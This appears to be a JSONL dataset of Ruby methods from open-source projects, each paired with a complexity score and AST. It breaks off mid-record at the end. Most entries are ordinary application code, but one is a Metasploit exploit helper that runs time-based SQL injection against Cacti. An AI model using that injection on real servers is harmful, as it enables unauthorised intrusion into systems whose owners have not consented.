{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/models/chat/channel.rb","start_line":160,"raw_source":"def update_last_message_id!\n self.update!(last_message_id: self.latest_not_deleted_message_id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_last_message_id!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_message_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"latest_not_deleted_message_id\"]}]}]}]}]}","id":"29d379dd-f5f0-4fe4-a2d4-0556d4c7c99b"} {"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/normalized_belongs_to_test.rb","start_line":66,"raw_source":"def test_returned_record_should_be_readonly_on_cache_hit\n IdentityCache.with_fetch_read_only_records do\n @record.fetch_item # warm cache\n assert(@record.fetch_item.readonly?)\n refute(@record.item.readonly?)\n end\n end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returned_record_should_be_readonly_on_cache_hit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"with_fetch_read_only_records\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"fetch_item\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"fetch_item\"]},\"readonly?\"]}]},{\"type\":\"send\",\"children\":[null,\"refute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"item\"]},\"readonly?\"]}]}]}]}]}","id":"3a910d68-2120-4e69-85df-bf8e16e83e7f"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/connect_api/tunes/tunes_stubbing.rb","start_line":37,"raw_source":"def stub_create_review_submission\n stub_request(:post, \"https://appstoreconnect.apple.com/iris/v1/reviewSubmissions\").\n to_return(status: 200, body: read_fixture_file('review_submission_created.json'), headers: { 'Content-Type' => 'application/json' })\n end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_create_review_submission\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://appstoreconnect.apple.com/iris/v1/reviewSubmissions\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"read_fixture_file\",{\"type\":\"str\",\"children\":[\"review_submission_created.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]}","id":"6e2a3609-1e9a-4520-9cf7-e0cb0322c1f5"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb","start_line":175,"raw_source":"def get_ext_link_id\n # Get an unused External Link ID with a time-based SQLi\n @ext_link_id = rand(1000..9999)\n loop do\n _res, elapsed_time = Rex::Stopwatch.elapsed_time do\n sqli.raw_run_sql(\"if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}\")\n end\n break if elapsed_time < datastore['SqliDelay']\n\n @ext_link_id = rand(1000..9999)\n end\n vprint_good(\"Got external link ID #{@ext_link_id}\")\n end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_ext_link_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ext_link_id\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1000]},{\"type\":\"int\",\"children\":[9999]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_res\"]},{\"type\":\"lvasgn\",\"children\":[\"elapsed_time\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Stopwatch\"]},\"elapsed_time\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sqli\"]},\"raw_run_sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"if(id,sleep(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SqliDelay\"]}]}]},{\"type\":\"str\",\"children\":[\"),null) from external_links where id=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ext_link_id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elapsed_time\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SqliDelay\"]}]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"ivasgn\",\"children\":[\"@ext_link_id\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1000]},{\"type\":\"int\",\"children\":[9999]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Got external link ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ext_link_id\"]}]}]}]}]}]}","id":"fb9bda29-e0a4-47e2-8c4c-4b4a7f0ee260"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/insert_all_test.rb","start_line":318,"raw_source":"def test_insert_all_logs_message_including_model_name\n skip unless supports_insert_conflict_target?\n\n capture_log_output do |output|\n Book.insert_all [{ name: \"Remote\", author_id: 1 }, { name: \"Renote\", author_id: 1 }]\n assert_match \"Book Bulk Insert\", output.string\n end\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_insert_all_logs_message_including_model_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_insert_conflict_target?\"]},null,{\"type\":\"send\",\"children\":[null,\"skip\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_log_output\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"insert_all\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Remote\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Renote\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"Book Bulk Insert\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"string\"]}]}]}]}]}]}","id":"de7aa01b-41e4-43d4-a995-5efc2fc45809"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/migrate/20240729202857_migrate_persona_llm_override.rb","start_line":3,"raw_source":"def up\n fields_to_update = DB.query(<<~SQL)\n SELECT id, default_llm\n FROM ai_personas\n WHERE default_llm IS NOT NULL\n SQL\n\n return if fields_to_update.empty?\n\n updated_fields =\n fields_to_update\n .map do |field|\n llm_model_id = matching_llm_model(field.default_llm)\n\n \"(#{field.id}, 'custom:#{llm_model_id}')\" if llm_model_id\n end\n .compact\n\n return if updated_fields.empty?\n\n DB.exec(<<~SQL)\n UPDATE ai_personas\n SET default_llm = new_fields.new_default_llm\n FROM (VALUES #{updated_fields.join(\", \")}) AS new_fields(id, new_default_llm)\n WHERE new_fields.id::bigint = ai_personas.id\n SQL\n end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields_to_update\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT id, default_llm\\n\"]},{\"type\":\"str\",\"children\":[\"FROM ai_personas\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE default_llm IS NOT NULL\\n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields_to_update\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"updated_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields_to_update\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"llm_model_id\",{\"type\":\"send\",\"children\":[null,\"matching_llm_model\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"default_llm\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"llm_model_id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\", 'custom:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"llm_model_id\"]}]},{\"type\":\"str\",\"children\":[\"')\"]}]},null]}]}]},\"compact\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"updated_fields\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE ai_personas\\n\"]},{\"type\":\"str\",\"children\":[\"SET default_llm = new_fields.new_default_llm\\n\"]},{\"type\":\"str\",\"children\":[\"FROM (VALUES \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"updated_fields\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\") AS new_fields(id, new_default_llm)\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE new_fields.id::bigint = ai_personas.id\\n\"]}]}]}]}]}","id":"1161990c-f08c-4d6d-b351-9b7be23aaa8c"} {"repo_name":"discourse","file_path":"./repos/discourse/app/mailers/user_notifications.rb","start_line":24,"raw_source":"def signup_after_approval(user, opts = {})\n locale = user_locale(user)\n tips =\n I18n.t(\n \"system_messages.usage_tips.text_body_template\",\n base_url: Discourse.base_url,\n locale: locale,\n )\n\n build_email(\n user.email,\n template: \"user_notifications.signup_after_approval\",\n locale: locale,\n new_user_tips: tips,\n )\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"signup_after_approval\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"locale\",{\"type\":\"send\",\"children\":[null,\"user_locale\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tips\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"system_messages.usage_tips.text_body_template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"build_email\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"user_notifications.signup_after_approval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"lvar\",\"children\":[\"locale\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_user_tips\"]},{\"type\":\"lvar\",\"children\":[\"tips\"]}]}]}]}]}]}","id":"cbd6cf0f-36af-4395-b031-3d46f98163fd"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/json_ld_helper.rb","start_line":98,"raw_source":"def canonicalize(json)\n graph = RDF::Graph.new << JSON::LD::API.toRdf(json, documentLoader: method(:load_jsonld_context))\n graph.dump(:normalize)\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"canonicalize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"graph\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RDF\"]},\"Graph\"]},\"new\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"LD\"]},\"API\"]},\"toRdf\",{\"type\":\"lvar\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"documentLoader\"]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"load_jsonld_context\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"graph\"]},\"dump\",{\"type\":\"sym\",\"children\":[\"normalize\"]}]}]}]}","id":"623cd1b3-93dd-4fb8-a757-786482a529f9"} {"repo_name":"forem","file_path":"./repos/forem/app/models/reaction.rb","start_line":70,"raw_source":"def count_for_article(id)\n Rails.cache.fetch(\"count_for_reactable-Article-#{id}\", expires_in: 10.hours) do\n reactions = Reaction.where(reactable_id: id, reactable_type: \"Article\")\n counts = reactions.group(:category).count\n\n reaction_types = public_reaction_types\n reaction_types << \"readinglist\" unless public_reaction_types.include?(\"readinglist\")\n\n reaction_types.map do |type|\n { category: type, count: counts.fetch(type, 0) }\n end\n end\n end","complexity_score":22.15,"ast_json":"{\"type\":\"def\",\"children\":[\"count_for_article\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"count_for_reactable-Article-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"hours\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reactions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reaction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactable_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactable_type\"]},{\"type\":\"str\",\"children\":[\"Article\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"counts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reactions\"]},\"group\",{\"type\":\"sym\",\"children\":[\"category\"]}]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"reaction_types\",{\"type\":\"send\",\"children\":[null,\"public_reaction_types\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_reaction_types\"]},\"include?\",{\"type\":\"str\",\"children\":[\"readinglist\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction_types\"]},\"<<\",{\"type\":\"str\",\"children\":[\"readinglist\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction_types\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}]}","id":"968d6f5d-d2bc-469b-9d28-61a42ba6e57b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/config/entry/validators.rb","start_line":205,"raw_source":"def validate_each(record, attribute, value)\n if validate_string(value)\n validate_path(record, attribute, value)\n else\n record.errors.add(attribute, 'should be a string or symbol')\n end\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_string\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_path\",{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"str\",\"children\":[\"should be a string or symbol\"]}]}]}]}","id":"5df65e86-d6af-4c28-8888-3195389d9ebf"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/web/path.rb","start_line":123,"raw_source":"def self.from_model( form )\n e = new( :action => \"#{form.path}?#{form.query}\", :input => form.params[0][1] )\n e.model = form\n e\n end","complexity_score":9.95,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"form\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"query\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"params\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"model=\",{\"type\":\"lvar\",\"children\":[\"form\"]}]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}","id":"e985541f-c0ca-400e-b3ce-8eceffdd2cba"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/provider.rb","start_line":36,"raw_source":"def configuration_requirements\n self.class.configuration_requirements\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configuration_requirements\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"configuration_requirements\"]}]}","id":"5482644c-c058-4653-a5a1-e471b8d1855b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git_access.rb","start_line":420,"raw_source":"def can_read_project?\n if deploy_key?\n deploy_key.has_access_to?(project)\n elsif deploy_token?\n deploy_token.has_access_to?(project)\n elsif user\n user.can?(:read_project, project)\n elsif ci?\n false\n end || ::Users::Anonymous.can?(:read_project, project)\n end","complexity_score":26.3,"ast_json":"{\"type\":\"def\",\"children\":[\"can_read_project?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_key?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_key\"]},\"has_access_to?\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_token?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_token\"]},\"has_access_to?\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"read_project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ci?\"]},{\"type\":\"false\",\"children\":[]},null]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Users\"]},\"Anonymous\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"read_project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}","id":"bcff8479-0f90-41cd-8db6-976b24b7c688"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/gpg_key.rb","start_line":114,"raw_source":"def extract_primary_keyid\n # we can assume that the result only contains one item as the validation\n # only allows one key\n self.primary_keyid = Gitlab::Gpg.primary_keyids_from_key(key).first\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_primary_keyid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"primary_keyid=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Gpg\"]},\"primary_keyids_from_key\",{\"type\":\"send\",\"children\":[null,\"key\"]}]},\"first\"]}]}]}","id":"702d368d-9a9e-4f65-91fe-b17364e51963"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":19,"raw_source":"def with_default_enforce_utf8(value)\n old_value = ActionView::Helpers::FormTagHelper.default_enforce_utf8\n ActionView::Helpers::FormTagHelper.default_enforce_utf8 = value\n\n yield\n ensure\n ActionView::Helpers::FormTagHelper.default_enforce_utf8 = old_value\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_default_enforce_utf8\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"FormTagHelper\"]},\"default_enforce_utf8\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"FormTagHelper\"]},\"default_enforce_utf8=\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"FormTagHelper\"]},\"default_enforce_utf8=\",{\"type\":\"lvar\",\"children\":[\"old_value\"]}]}]}]}","id":"11f9983a-b83f-4c7d-8855-612ba23aed70"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/vbulletin5.rb","start_line":676,"raw_source":"def create_permalinks\n puts \"\", \"creating permalinks...\"\n\n current_count = 0\n total_count =\n mysql_query(\n \"SELECT COUNT(nodeid) cnt\n FROM #{DB_PREFIX}node\n WHERE (unpublishdate = 0 OR unpublishdate IS NULL)\n AND (approved = 1 AND showapproved = 1)\n AND parentid IN (\n SELECT nodeid FROM #{DB_PREFIX}node WHERE contenttypeid=#{@channel_typeid} ) AND contenttypeid=#{@text_typeid};\",\n ).first[\n \"cnt\"\n ]\n\n batches(BATCH_SIZE) do |offset|\n topics = mysql_query <<-SQL\n SELECT p.urlident p1, f.urlident p2, t.nodeid, t.urlident p3\n FROM #{DB_PREFIX}node f\n LEFT JOIN #{DB_PREFIX}node t ON t.parentid = f.nodeid\n LEFT JOIN #{DB_PREFIX}node p ON p.nodeid = f.parentid\n WHERE f.contenttypeid = #{@channel_typeid}\n AND t.contenttypeid = #{@text_typeid}\n AND t.approved = 1 AND t.showapproved = 1\n AND (t.unpublishdate = 0 OR t.unpublishdate IS NULL)\n ORDER BY t.nodeid\n LIMIT #{BATCH_SIZE}\n OFFSET #{offset}\n SQL\n\n break if topics.size < 1\n\n topics.each do |topic|\n current_count += 1\n print_status current_count, total_count\n disc_topic = topic_lookup_from_imported_post_id(\"thread-#{topic[\"nodeid\"]}\")\n\n begin\n Permalink.create(\n url: \"#{URL_PREFIX}#{topic[\"p1\"]}/#{topic[\"p2\"]}/#{topic[\"nodeid\"]}-#{topic[\"p3\"]}\",\n topic_id: disc_topic[:topic_id],\n )\n rescue StandardError\n nil\n end\n end\n end\n\n # cats\n cats = mysql_query <<-SQL\n SELECT nodeid, urlident\n FROM #{DB_PREFIX}node\n WHERE contenttypeid=#{@channel_typeid}\n AND parentid=#{ROOT_NODE};\n SQL\n cats.each do |c|\n category_id =\n CategoryCustomField.where(name: \"import_id\").where(value: c[\"nodeid\"]).first.category_id\n begin\n Permalink.create(url: \"#{URL_PREFIX}#{c[\"urlident\"]}\", category_id: category_id)\n rescue StandardError\n nil\n end\n end\n\n # subcats\n subcats = mysql_query <<-SQL\n SELECT n1.nodeid,n2.urlident p1,n1.urlident p2\n FROM #{DB_PREFIX}node n1\n LEFT JOIN #{DB_PREFIX}node n2 ON n2.nodeid=n1.parentid\n WHERE n2.parentid = #{ROOT_NODE}\n AND n1.contenttypeid=#{@channel_typeid};\n SQL\n subcats.each do |sc|\n 